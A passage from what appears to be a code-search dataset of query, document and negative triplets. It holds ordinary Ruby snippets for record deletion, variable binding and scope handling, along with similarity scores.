"def destroy\n if @site.columns.size > 0\n flash[:error] = \"该站点存在多个栏目,不能删除\"\n else\n delete_file(@site.logo_file) if !@site.logo_file.blank?\n @site.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to cms.sites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @parsed_site.destroy\n\n head :no_content\n end",
"def deleteEntityWebsite( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/website\",params)\n end",
"def destroy\n @rss_slide = RssSlide.find(params[:id])\n @rss_slide.destroy\n\n respond_to do |format|\n format.html { redirect_to(rss_slides_url) }\n format.xml { head :ok }\n end\n end",
"def delete(*uris); end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @scraper = Scraper.find(params[:id])\n @scraper.destroy\n\n respond_to do |format|\n format.html { redirect_to(scrapers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site_link = SiteLink.find(params[:id])\n @site_link.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_site_links_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @microsite = Microsite.find(params[:id])\n @microsite.destroy\n\n respond_to do |format|\n format.html { redirect_to(admins_microsites_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def destroy\n @content = Content.find(params[:id])\n @folder = Folder.find(session[:folder_id])\n Searcher.open(Const.get('searcher_db')) do |db|\n db.erase(@content)\n end\n @content.destroy\n\n respond_to do |format|\n #format.html { redirect_to(contents_url) }\n format.html { redirect_to(@folder) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relatorios = Relatorio.find(params[:id])\n @relatorios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def unlink_site\n FileUtils.rm_rf(self.absolute_path) if File.exists?(self.absolute_path)\n end",
"def destroy\n @discovery = Discovery.find(params[:id])\n @discovery.destroy\n\n respond_to do |format|\n format.html { redirect_to(discoveries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { \n flash[:notice] = 'Site was successfully removed.'\n if current_user.admin? \n redirect_to admin_path\n else\n redirect_to(sites_url)\n end\n }\n format.xml { head :ok }\n end\n end",
"def delete\n stop\n [ @resource['instances_dir'] + \"/\" + @resource[:name],\n @resource['instances_dir'] + \"/\" + \"_\" + @resource[:name]\n ].each do |dir|\n FileUtils.rm_rf(dir) if File.directory?(dir)\n end\n end",
"def delete!\n PoolNode.rmdir(@id)\n super\n Address.delete(@id)\n Subnet.delete(@subnet)\n end",
"def destroy\n @crawl_result = Crawl.find(params[:id])\n @crawl_result.destroy\n\n respond_to do |format|\n format.html { redirect_to(crawl_results_url) }\n format.xml { head :ok }\n end\n end",
"def remove\n valid = parse_valid(params)\n # puts valid\n choose = $db.search(\"//book[\"+valid+\"]\").remove\n size = 0\n for i in choose\n size += 1\n end\n $file = open PATH, \"w\"\n $file.write $db\n $file.close\n render :soap => \"<result>\"+size.to_s+\"</result>\"\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end"
] |
[
"0.68143076",
"0.67091054",
"0.65693593",
"0.64779985",
"0.6469167",
"0.6416617",
"0.6318999",
"0.63155437",
"0.6294079",
"0.62918085",
"0.62918085",
"0.62918085",
"0.62918085",
"0.62918085",
"0.62918085",
"0.62918085",
"0.62918085",
"0.6282725",
"0.62450415",
"0.62146086",
"0.62088346",
"0.61846125",
"0.61746866",
"0.6151128",
"0.6151128",
"0.6146321",
"0.61415297",
"0.61046314",
"0.6081217",
"0.60434675",
"0.6040414",
"0.60263884",
"0.6020571",
"0.6020571",
"0.6020073",
"0.60148245",
"0.60145247",
"0.59902",
"0.5988703",
"0.5984798",
"0.5983884",
"0.5977348",
"0.5972593",
"0.5962029",
"0.595774",
"0.5957087",
"0.5956733",
"0.59534687",
"0.59534687",
"0.59534687",
"0.59534687",
"0.59534687",
"0.5952838",
"0.5950245",
"0.59380466",
"0.5915982",
"0.59138423",
"0.5913143",
"0.59028614",
"0.5900641",
"0.5888004",
"0.5880592",
"0.5878185",
"0.5873665",
"0.5867107",
"0.58632743",
"0.5861574",
"0.5859803",
"0.58565813",
"0.5848058",
"0.58463955",
"0.5841937",
"0.5838166",
"0.5836868",
"0.58244157",
"0.5820417",
"0.58194524",
"0.58182716",
"0.5816606",
"0.5816431",
"0.5811207",
"0.58091843",
"0.5808051",
"0.58025753",
"0.5797995",
"0.5797578",
"0.5794499",
"0.5788148",
"0.57780474",
"0.5773729",
"0.57666624",
"0.57657033",
"0.5763475",
"0.57617337",
"0.57585555",
"0.57572263",
"0.5756192",
"0.5752935",
"0.57426256",
"0.57426256"
] |
0.6918289
|
0
|
Bind parameters and variables in the code to parse results in +scope+
|
def bind(scope)
bind_in body, scope
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def scope() binding end",
"def scope=(_arg0); end",
"def scope=(_arg0); end",
"def scope=(_arg0); end",
"def scope(*args); end",
"def put_var_scope\nend",
"def evaluate(scope, locals, &block); end",
"def scope=(_); end",
"def scope() yield end",
"def evaluate(scope)\n end",
"def process_scope exp\n # NOPE?\n end",
"def local_variables() end",
"def inspect_variables_in_scope(scope_node); end",
"def realize(scope)\n @params.each do |p|\n p.evaluate(scope)\n end\n end",
"def scope1(var)\r\n\ta = \"monkey\"\r\nend",
"def scope=(v); end",
"def scope=(v); end",
"def local_scope; @scope = :local end",
"def some_method # Scope gate\n v2 = 2\n p local_variables\n end",
"def scope_loop\nend",
"def inspect_variables_in_scope(scope_node)\n variable_table.push_scope(scope_node)\n process_children(scope_node)\n variable_table.pop_scope\n end",
"def default_scope=(_arg0); end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def scope; end",
"def inject_local(name, value, binding)\n value = value.is_a?(Proc) ? value.call : value\n if binding.respond_to?(:local_variable_set)\n binding.local_variable_set name, value\n else # < 2.1\n begin\n Pry.current[:pry_local] = value\n binding.eval \"#{name} = ::Pry.current[:pry_local]\"\n ensure\n Pry.current[:pry_local] = nil\n end\n end\n end",
"def prep_variables\n end",
"def inner_scope(param)\n param = 12\nend",
"def run_scope(scope, machine, klass, states); end",
"def eval_binding(args, current_cont)\n\t\t\tname, env = args[:name], args[:env]\n\t\t\tif env.include? name.val.to_sym\n\t\t\t\treturn current_cont.next_with(ast: env[name.val.to_sym])\n\t\t\telse\n\t\t\t\tif env.parent\n\t\t\t\t\t# TODO: check if copy_with is necessary\n\t\t\t\t\treturn current_cont.with name: name, env: env.parent\n\t\t\t\telse\n\t\t\t\t\treturn current_cont.heap[:error_handler].with message: \n\t\t\t\t\t\t\"Could not resolve symbol #{name.val.inspect}\",\n\t\t\t\t\t\tast: name, backtrace: caller(0)\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def local_binding\n binding\n end",
"def whats_in_scope(passed_variable)\n\tputs \"I can see instance variables, like: \"\n\tputs \"@bananas: #{@bananas}\"\n\tputs \"I can see my method variables:\"\n\tputs \"passed_variable: #{passed_variable}\"\n\tputs \"But watch out, because I can't see local variables outside the method\"\n\tputs dad\n\t\nend",
"def exec (*args, &block)\n if @scope\n @scope.instance_variables.each do |name|\n instance_variable_set(name, @scope.instance_variable_get(name))\n end\n end\n\n @ivars.each do |name, value|\n instance_variable_set(name, value)\n end\n \n instance_exec(*args, &block)\n end",
"def put_var_scope\n\tinvisible_var = 4\n\tputs \"The argument variable is: #{invisible_var}\"\nend",
"def call(bind_vars={}, &block)\n bind(bind_vars).run(&block)\n end",
"def foo my_binding\n x = 200\n eval \"x\", my_binding\nend",
"def inspect_variables_in_scope(scope_node)\n variable_table.push_scope(scope_node)\n\n NodeScanner.scan_nodes_in_scope(scope_node) do |node|\n # puts \"scope:#{variable_table.current_scope_level} node:#{node}\"\n process_node(node)\n end\n\n variable_table.pop_scope\n end",
"def prepare\n loc_scope_line = data.strip\n loc_scopes = loc_scope_line.empty? ? [I18n.locale.to_s] : loc_scope_line.split(/\\s*,\\s*/)\n js = Converter.new(loc_scopes).js_body\n @code = js.dump\n end",
"def test_local_basic\n lst = compile( \"foo = 1 ; foo\")\n assert_equal ScopeStatement , lst.class\n assert_equal LocalVariable , lst.statements[1].class\n end",
"def foo2 my_binding\n eval \"x\", my_binding\nend",
"def binding() end",
"def binding() end",
"def _configure_locals( locals )\n return if locals.nil?\n\n locals.each do |k,v|\n Thread.current[:value] = v\n definition = \"#{k} = Thread.current[:value]\"\n eval(definition, get_binding)\n end\n end",
"def use_named_scope(&block)\n lang_eval { @use_named_scope_block = block }\n nil\n end",
"def compile_argument(ctx, stream, void)\n ctx.declare_var(name, \"local\")\n stream.dup_top if (!void)\n stream.local_set(name)\n end",
"def evaluate scope, locals, &block\n Wisp.compile data\n end",
"def scopes; end",
"def return_value_node_of_scope(scope); end",
"def binder=(_arg0); end",
"def lookup_context=(_arg0); end",
"def local(*args); end",
"def scopeName _args\n \"scopeName _args;\" \n end",
"def rl_parse_and_bind(string)\r\n\r\n # If this is a parser directive, act on it.\r\n if (string[0,1] == \"$\")\r\n handle_parser_directive(string[1..-1])\r\n return 0\r\n end\r\n\r\n # If we aren't supposed to be parsing right now, then we're done.\r\n return 0 if @_rl_parsing_conditionalized_out\r\n\r\n if string =~ /^set/i\r\n _,var,value = string.downcase.split(' ')\r\n rl_variable_bind(var, value)\r\n return 0\r\n end\r\n\r\n if string =~ /\"(.*)\"\\s*:\\s*(.*)$/\r\n key, funname = $1, $2\r\n func = rl_named_function(funname)\r\n rl_bind_key(key, func) if func\r\n end\r\n\r\n 0\r\n end",
"def locals; end",
"def locals; end",
"def locals; end",
"def as(scope); end",
"def apply_to_scope(scope)\n scope\n end",
"def attr_scope\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 4 )\n return_value = AttrScopeReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal19 = nil\n __ACTION21__ = nil\n id20 = nil\n\n tree_for_string_literal19 = nil\n tree_for_ACTION21 = nil\n stream_SCOPE = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token SCOPE\" )\n stream_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token ACTION\" )\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule id\" )\n begin\n # at line 113:4: 'scope' id ACTION\n string_literal19 = match( SCOPE, TOKENS_FOLLOWING_SCOPE_IN_attr_scope_552 )\n if @state.backtracking == 0\n stream_SCOPE.add( string_literal19 )\n end\n @state.following.push( TOKENS_FOLLOWING_id_IN_attr_scope_554 )\n id20 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id20.tree )\n end\n __ACTION21__ = match( ACTION, TOKENS_FOLLOWING_ACTION_IN_attr_scope_556 )\n if @state.backtracking == 0\n stream_ACTION.add( __ACTION21__ )\n end\n # AST Rewrite\n # elements: SCOPE, id, ACTION\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 113:22: -> ^( 'scope' id ACTION )\n # at line 113:25: ^( 'scope' id ACTION )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_SCOPE.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_id.next_tree )\n @adaptor.add_child( root_1, stream_ACTION.next_node )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 4 )\n\n end\n \n return return_value\n end",
"def _binding() binding end",
"def _binding() binding end",
"def process_scope(exp)\n declarations, body = with_scope do\n process exp.shift unless exp.empty?\n end\n\n declarations = declarations.reject { |d| d =~ / static_/ }\n\n result = []\n result << \"{\"\n result << declarations.join(\"\\n\") unless declarations.empty?\n result << body.chomp if body\n result << \"}\"\n \n return result.join(\"\\n\")\n end",
"def evaluate(scope)\n self\n end",
"def parse_context; end",
"def parse_context; end",
"def scope(*args, &block)\n options = if args.last.is_a?(Hash)\n args.pop\n else\n {}\n end\n \n #\n # set locale\n if locale = options[:locale]\n old_locale = self.current_locale\n self.current_locale = if I18n.backend.available_locales.include?(locale = locale.to_sym)\n locale\n else\n base\n end\n end\n\n #\n # set format\n if format = options[:format]\n old_format = self.current_format\n self.current_format = format\n end\n\n #\n # adjust scope (from the remaining arguments)\n current_scope.push(*args)\n\n yield\n ensure\n current_scope.pop(*args)\n self.current_format = old_format if old_format\n self.current_locale = old_locale if old_locale\n end",
"def scope\n captures.push\n yield\n ensure\n captures.pop\n end",
"def determine_scope\n # Transform the CL arguments in a dictionary in the form \"::option\" => argument\n scope = Hash[ARGV.map { |kv| \"::#{kv.sub('--', '')}\".split('=') }]\n abort(usage \"Error: --fqdn=FQDN is required.\") unless scope['::fqdn']\n scope['::hostname'] = scope['::fqdn'][/^[^.]+/]\n if scope['::fqdn'].end_with?('.wmflabs') || scope['::fqdn'].end_with?('.labtest')\n scope['::realm'] = 'labs'\n else\n scope['::realm'] = 'production'\n end\n\n # Detect labs project/site\n if scope['::realm'] == 'labs'\n bits = scope['::fqdn'].split('.')\n unless bits.length == 4\n Kernel.abort('labs FQDN must be <hostname>.<project>.<site>.(wmflabs|labtest)')\n end\n scope['::labsproject'] = bits[1]\n scope['::site'] = bits[2]\n end\n\n # Attempt at determining the site\n scope['::site'] ||= scope['::fqdn'].split('.')[-2]\n if scope['::site'] == 'wikimedia' || scope['::site'].nil?\n abort(usage \"\\nError: --site=SITE is required if the FQDN doesn't contain it\")\n end\n\n # Transform roles in the form puppet expects\n if scope['::roles']\n scope['_roles'] = Hash[scope['::roles'].split(',').map { |role| [role.gsub('role::', ''), true] }]\n scope.delete('::roles')\n end\n scope\nend",
"def attr_scope\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 4)\n return_value = AttrScopeReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal19 = nil\n __ACTION21__ = nil\n id20 = nil\n\n tree_for_string_literal19 = nil\n tree_for_ACTION21 = nil\n stream_SCOPE = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token SCOPE\")\n stream_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token ACTION\")\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule id\")\n begin\n # at line 122:4: 'scope' id ACTION\n string_literal19 = match(SCOPE, TOKENS_FOLLOWING_SCOPE_IN_attr_scope_557) \n if @state.backtracking == 0\n stream_SCOPE.add(string_literal19)\n end\n @state.following.push(TOKENS_FOLLOWING_id_IN_attr_scope_559)\n id20 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add(id20.tree)\n end\n __ACTION21__ = match(ACTION, TOKENS_FOLLOWING_ACTION_IN_attr_scope_561) \n if @state.backtracking == 0\n stream_ACTION.add(__ACTION21__)\n end\n # AST Rewrite\n # elements: ACTION, id, SCOPE\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 122:22: -> ^( 'scope' id ACTION )\n # at line 122:25: ^( 'scope' id ACTION )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_SCOPE.next_node, root_1)\n\n @adaptor.add_child(root_1, stream_id.next_tree)\n @adaptor.add_child(root_1, stream_ACTION.next_node)\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 4)\n\n end\n \n return return_value\n end",
"def active_locals; end",
"def process_defn(exp)\n raise if @result_name\n method_name = exp.shift || raise\n exp = exp.shift || raise\n\n method_body = want_result do\n case exp.first\n when :ivar\n process(s(:block, exp))\n when :attrset\n process(s(:block, s(:args, :_), s(:iasgn, exp[1], s(:lvar, :_))))\n when :scope, :block, :fbody\n process(exp)\n else\n raise\n end\n end\n\n str = \"\"\n\n if @argument_variables.empty?\n str << \"function(){\"\n else\n args_str = ([block_name()] + @arguments_no_splat).join(\",\")\n str << \"function(#{args_str}){\"\n end\n\n raise if @local_variables.include?(@model.encode_self)\n raise if @argument_variables.include?(@model.encode_self)\n\n #\n # Add \"self\" to the local variables\n #\n @local_variables.add(@model.encode_self)\n @local_variables_need_no_initialization.add(@model.encode_self)\n\n #\n # declare local variables (except arguments)\n #\n to_declare = (@local_variables - @argument_variables).to_a\n to_declare << @result_name if @result_name\n unless to_declare.empty?\n str << \"var \" + to_declare.join(\",\") + sep()\n end\n\n #\n # initialize all local variables (that need initialization) to nil\n #\n to_initialize = (@local_variables - @argument_variables - @local_variables_need_no_initialization).to_a\n to_initialize << @result_name if @result_name\n unless to_initialize.empty?\n str << to_initialize.join(\"=\")\n str << \"=#{@model.encode_nil}#{sep()}\"\n end\n\n #\n # initialize \"self\"\n #\n str << \"#{@model.encode_self}=this#{sep()}\"\n\n #\n # If a block argument is given (&block) convert it to nil if it is\n # undefined. \n #\n if @block_arg_name\n str << \"#{@block_arg_name}=#{block_name()}==null?#{@model.encode_nil}:#{block_name()}#{sep()}\"\n end\n\n #\n # generate initialization code for each read instance variable\n #\n @read_instance_variables.each do |iv|\n str << \"if(#{@model.encode_self}.#{iv}==null)#{@model.encode_self}.#{iv}=#{@model.encode_nil}#{sep()}\"\n end\n\n # \n # Used in a zsuper call to refer to the methods \"arguments\"\n # \"arguments\" itself does not work due to iterators using functions.\n if @arguments_name\n str << \"var #{@arguments_name}=arguments#{sep()}\"\n end\n\n method_body << \"#{sep()}return #{@result_name}\" if @result_name\n\n if @iterators_used\n str << \"try{\" \n str << method_body \n\n #\n # Declare variable x?\n # No, catch introduced a new scope, so we don't have to\n # use a local or temporary variable here! \n #\n x = exception_name()\n iter_jump = @model.encode_globalattr(\"iter_jump\")\n return_value = @model.encode_attr(\"return_value\")\n scope = @model.encode_attr(\"scope\")\n uid = unique_method_scope()\n\n str << \"}catch(#{x}){\"\n # scope == null or scope == uid\n str << \"if(#{x} instanceof #{iter_jump} && (!#{x}.#{scope} || #{x}.#{scope}==#{uid}))return #{x}.#{return_value}#{sep()}\"\n str << \"throw(#{x})}\"\n else\n str << method_body\n end\n\n str << \"}\"\n\n return str\n end",
"def context=(_arg0); end",
"def context=(_arg0); end",
"def context=(_arg0); end",
"def context=(_arg0); end",
"def context=(_arg0); end",
"def context=(_arg0); end",
"def context=(_arg0); end",
"def context=(_arg0); end",
"def context=(_arg0); end",
"def context=(_arg0); end",
"def with_match_locals(pattern, &block) \n bindings = p(pattern).match(exp)\n bindings.should_not be_nil\n \n block.call(bindings) if block\n end",
"def scope(parameters)\n scope_proxy.ad_hoc(parameters)\n end",
"def test_local\n result = 1 + 2\n result.times do |x|\n puts a = x + 1\n p local_variables\n end\n p local_variables\nend",
"def apply_variable(scope, ast)\n case ast.name\n when 'PI'\n return scope, \"pi()\"\n when 'E'\n return scope, \"exp(1.0)\"\n end\n end",
"def test_variable_scope\n @bool_var.eval\n Variable.new_scope 5\n @int_var.eval\n var1 = GetVariableEval.new(\"test\").eval\n var2 = GetVariableEval.new(\"test2\").eval\n assert_equal \"[Y+9]\", var1.value\n assert_equal \"[Y+4]\", var2.value\n end",
"def inject_var(name, value, b)\n Thread.current[:__pry_local__] = value\n b.eval(\"#{name} = Thread.current[:__pry_local__]\")\nensure\n Thread.current[:__pry_local__] = nil\nend",
"def execute_scope(name, *args)\n procedure = scopes[name]\n instance_exec(*args, &procedure)\n self\n end",
"def scope!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 2)\n\n type = SCOPE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 8:9: 'scope'\n match(\"scope\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 2)\n\n end",
"def initvars\n # The list of overrides. This is used to cache overrides on objects\n # that don't exist yet. We store an array of each override.\n @resource_overrides = Hash.new do |overs, ref|\n overs[ref] = []\n end\n\n # The list of collections that have been created. This is a global list,\n # but they each refer back to the scope that created them.\n @collections = []\n\n # The list of relationships to evaluate.\n @relationships = []\n\n # For maintaining the relationship between scopes and their resources.\n @catalog = Puppet::Resource::Catalog.new(@node.name, @node.environment, @code_id)\n\n # MOVED HERE - SCOPE IS NEEDED (MOVE-SCOPE)\n # Create the initial scope, it is needed early\n @topscope = Puppet::Parser::Scope.new(self)\n\n # Initialize loaders and Pcore\n @loaders = Puppet::Pops::Loaders.new(environment)\n\n # Need to compute overrides here, and remember them, because we are about to\n # enter the magic zone of known_resource_types and initial import.\n # Expensive entries in the context are bound lazily.\n @context_overrides = context_overrides()\n\n # This construct ensures that initial import (triggered by instantiating\n # the structure 'known_resource_types') has a configured context\n # It cannot survive the initvars method, and is later reinstated\n # as part of compiling...\n #\n Puppet.override( @context_overrides , _(\"For initializing compiler\")) do\n # THE MAGIC STARTS HERE ! This triggers parsing, loading etc.\n @catalog.version = environment.known_resource_types.version\n @loaders.pre_load\n end\n\n @catalog.add_resource(Puppet::Parser::Resource.new(\"stage\", :main, :scope => @topscope))\n\n # local resource array to maintain resource ordering\n @resources = []\n\n # Make sure any external node classes are in our class list\n if @node.classes.class == Hash\n @catalog.add_class(*@node.classes.keys)\n else\n @catalog.add_class(*@node.classes)\n end\n\n @catalog_validators = []\n end",
"def call(scope, *args)\n #local scope\n local = Scope.new(scope)\n\n bind_ctr = 0\n arg_ctr = 0\n\n if @max_args != -1\n raise \"Expected between #{@min_args} and #{@max_args} arguments for function, \" +\n \"but got #{args.length}\" unless args.length.between?(@min_args, @max_args)\n else\n raise \"Expected at least #{@min_args} arguments for function, \" +\n \"but got #{args.length}\" unless args.length >= @min_args\n end\n\n while bind_ctr < @bindings.value.length - 1 and (arg_ctr < args.length \\\n or arg_ctr < @max_args \\\n or @max_args == -1)\n arg_eval = args[arg_ctr].eval(scope)\n val = @bindings.value[bind_ctr].value\n if val =~ /\\?$/ and (args.length < @max_args)\n local[val[0...-1]] = Keyword.new(\"not-provided\")\n elsif val =~ /\\&$/\n local[val[0...-1]] = List.new(arg_ctr < args.length ? args[arg_ctr..-1] : [])\n break\n else\n val = val[0...-1] if val =~ /\\?$/\n local[val] = arg_eval\n arg_ctr += 1\n end\n bind_ctr += 1\n end\n\n @body.eval(local)\n end",
"def my_method\n v3 = 3\n puts local_variables\n log local_variables\n end",
"def find_scope!(obj); end"
] |
[
"0.7122562",
"0.69045687",
"0.69045687",
"0.69045687",
"0.6841776",
"0.6786824",
"0.65935844",
"0.6380951",
"0.63734394",
"0.6348859",
"0.6297727",
"0.624043",
"0.6222012",
"0.61449885",
"0.6121778",
"0.60628957",
"0.60628957",
"0.6048088",
"0.601297",
"0.5958103",
"0.5930223",
"0.5880668",
"0.5867202",
"0.5867202",
"0.5867202",
"0.5867202",
"0.5867202",
"0.5867202",
"0.5867202",
"0.5867202",
"0.5867202",
"0.5867202",
"0.5823087",
"0.5821678",
"0.58150584",
"0.57974774",
"0.5795289",
"0.5769775",
"0.5760533",
"0.57231337",
"0.5697917",
"0.5658678",
"0.5655008",
"0.56457955",
"0.563532",
"0.56329226",
"0.5580633",
"0.5576598",
"0.5576598",
"0.5568713",
"0.5567423",
"0.55617154",
"0.5515684",
"0.55155426",
"0.5513494",
"0.551344",
"0.54445684",
"0.54435074",
"0.54192185",
"0.54031",
"0.53926563",
"0.53926563",
"0.53926563",
"0.5389172",
"0.53868705",
"0.53798133",
"0.5376515",
"0.5376515",
"0.53705466",
"0.5363276",
"0.53623897",
"0.53623897",
"0.5361041",
"0.53558743",
"0.53505594",
"0.5347904",
"0.53414726",
"0.53296655",
"0.5311792",
"0.5311792",
"0.5311792",
"0.5311792",
"0.5311792",
"0.5311792",
"0.5311792",
"0.5311792",
"0.5311792",
"0.5311792",
"0.5310799",
"0.5303617",
"0.53033227",
"0.5299544",
"0.5295212",
"0.52948767",
"0.52896434",
"0.5289219",
"0.5287884",
"0.5285776",
"0.52853507",
"0.5281112"
] |
0.60746956
|
15
|
Metodo para salvar mensaje de contacto
|
def create
@contacto = Contacto.new(params[:contacto])
if @contacto.save
flash[:success] = "Se ha enviado su mensaje correctamente."
redirect_to root_path
else
flash[:success] = "Error. No se ha podido enviar su mensaje."
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def mensaje_info(mensaje)\n\t\tmostrar_mensaje 34, mensaje\n\tend",
"def send_to_single(pars)\n @message = Message.new(pars)\n @message.sender = current_user\n if @message.save\n flash[:info] = \"Your message has been sent to #{@message.receiver.full_name}\"\n else\n flash[:error] = \"Your message could not be sent to #{@message.receiver.full_name}\"\n end\n end",
"def contact()\n\t\t\"Please contact #{full_name()} via #{email}\"\n\tend",
"def micorreo(parametros)\n \t@name = parametros[:name]\n \t@email = parametros[:email]\n \t@message = parametros[:message]\n\n \tmail( :to => \"sergiosaezdeibarra@hotmail.com\", \n \t\t:subject => \"Un nuevo mensaje de la app\" )\n end",
"def notify(santa)\n if santa.minion != nil\n msg = \"#{santa.firstName} #{santa.lastName} is watching over \" +\n \"#{santa.minion.firstName} #{santa.minion.lastName}\"\n else\n msg = \"#{santa.firstName} #{santa.lastName} is watching over nobody\"\n end\n\n puts msg\n\n #Net::SMTP.start('smtp.example.com', 25) do |smtp|\n # smtp.send_message(msg, 'hat@magic.com', santa.email)\n #end\n end",
"def sended(contact)\n @contact = contact\n mail({\n from: @contact.email,\n to: 'contato@adotaai.com',\n subject: \"Novo e-mail enviado por #{@contact.name}\"\n })\n end",
"def recepcion\n @greeting = \"Hi\"\n\n mail to: \"jlaraojeda@gmail.com\", :subject =>\"nuestro primer correo\"\n end",
"def important_message\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def confirmarCotizMesExp\n GeneradorCorreoMailer.confirmarCotizMesExp\n end",
"def contacto\n @greeting = \"Hi\"\n\n #@email = 'email al cual envias' #<- email al cual enviaras\n #@alias = '' #<- nombre de quien envia ejem 'Carlos Acosta Del Rio'\n #@reply = '' #<- a quien contestaran\n \n\n mail :to => @email, :subject => \"Contacto De Su Sitio SIC\", :from => \"\\\"\" + @alias + \"\\\" \", :reply_to => @reply\n end",
"def notice(cust)\n @greeting = \"Hi\"\n @name = cust.custname\n\n mail(:subject => \"新着メール\", :to => cust.email)\n end",
"def notify(message, phone, date, errors)\n @message = message\n @phone = phone\n @date = date\n @errors = errors\n #@class_name = class_name\n #@method = method || nil\n\n mail(to: 'apimail@payquick-cm.com', subject: 'Erreur creation compte PAYQUICK')\n end",
"def nueva_solicitud(solicitud = nil, sent_at = Time.now, a_ciudadano = true)\n @solicitud = solicitud\n @url_solicitud = solicitud_portal_url(solicitud.id)\n\n\n email_ciudadano = solicitud.email\n correo_institucional = solicitud.institucion.email\n correos_interesados = solicitud.correos_interesados(false).join(\", \")\n subject = \"openwolf - Confirmación nueva solicitud de información - #{solicitud.codigo}.\"\n\n\n if a_ciudadano == true\n @nombre_destinatario = solicitud.solicitante_nombre\n\n mail(:to => email_ciudadano,\n :bcc => correo_institucional,\n :reply_to => correo_institucional,\n :subject => subject)\n\n else\n @nombre_destinatario = @solicitud.institucion.encargado_udip.nombre\n\n mail(:to => correos_interesados,\n :bcc => correo_institucional,\n :reply_to => correo_institucional,\n :subject => subject)\n end\n\n\n end",
"def micorreo(parametros)\n enviar_correo(parametros,\"moisesdonoso@gmail.com\",\"Nuevo mensaje\")\n end",
"def confirmarCotizMesCam\n GeneradorCorreoMailer.confirmarCotizMesCam\n end",
"def cust_success_redeemed(smb, customer, friend, campaign, sent)\n @smb = smb\n @customer = customer\n @friend = friend\n @campaign = campaign\n @sent = sent\n mail(:to => customer.email, :subject => \"Thanks for coming to #{smb.full_name}\", :from => \"#{smb.full_name} <#{smb.email}>\")\n end",
"def send_message(msg); end",
"def mensaje_error(mensaje)\n\t\tmostrar_mensaje 31, mensaje\n\tend",
